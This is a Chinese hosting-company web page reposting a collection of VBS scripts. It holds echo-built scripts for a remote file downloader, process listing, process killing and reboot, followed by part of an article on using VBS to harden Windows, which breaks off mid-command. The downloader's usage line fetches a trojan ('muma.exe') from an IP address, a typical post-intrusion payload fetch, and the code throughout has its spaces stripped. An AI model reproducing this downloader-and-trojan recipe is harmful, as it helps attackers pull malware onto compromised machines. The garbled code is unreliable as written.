快速业务通道

收集的一些经典的vbs脚本大全

作者 佚名 来源 ASP编程 浏览 发布时间 2013-07-09
记录一些经典的vbs脚本

1.文件下载(无回显)
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=createObject("Microsoft.XMLHTTP")>>iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=createObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responseBody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe

用法:cscripthget.vbshttp://111.111.111.111/muma.exemuma.exe


2.列举进程
@echoforeachpsingetobject_>ps.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>ps.vbs
@echowscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs

用法:cscriptps.vbs


3.终止进程
@echoforeachpsingetobject_>pskill.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>pskill.vbs
@echoifps.handle=wscript.arguments(0)thenwscript.echops.terminate:endif:next>>pskill.vbs

用法:cscriptpskill.vbspid


4.重启系统
@echoforeachosingetobject_>reboot.vbs
@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_>>reboot.vbs
@echoos.win32shutdown(2):next>>reboot.vbs

用法:cscriptreboot.vbs




VBS脚本在系统安全中的八则巧妙应用
VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过WindowsScriptHost(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows2000下,还可用WSH来访问WindowsNT活动目录服务。
  
  用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批处理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。
  
  一、给注册表编辑器解锁
  
  用记事本编辑如下内容:
  
  DIMWSH
  SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")''击活WScript.Shell对象
  WSH.POPUP("解锁注册表编辑器!")
  ''显示弹出信息“解锁注册表编辑器!”
  WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
  \Policies\System\DisableRegistryTools",0,"REG_DWORD"
  ''给注册表编辑器解锁
  WSH.POPUP("注册表解锁成功!")
  ''显示弹出信息“注册表解锁成功!”
  保存为以.vbs为扩展名的文件,使用时双击即可。
  
  二、关闭WinNT/2000的默认共享
  
  用记事本编辑如下内容:
  
  DimWSHShell''定义变量
  setWSHShell=CreateObject("WScript.shell")''创建一个能与操作系统沟通的对象WSHShell
  Dimfso,dc
  Setfso=CreateObject("Scripting.FileSystemObject")''创建文件系统对象
  setdc=fso.Drives''获取所有驱动器盘符
  ForEachdindc
  Dimstr
  WSHShell.run("netshare"&d.driveletter&"$/delete")''关闭所有驱动器的隐藏共享
  next
  WSHShell.run("netshareadmin$/delete")
  WSHShell.run("netshareipc$/dele

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号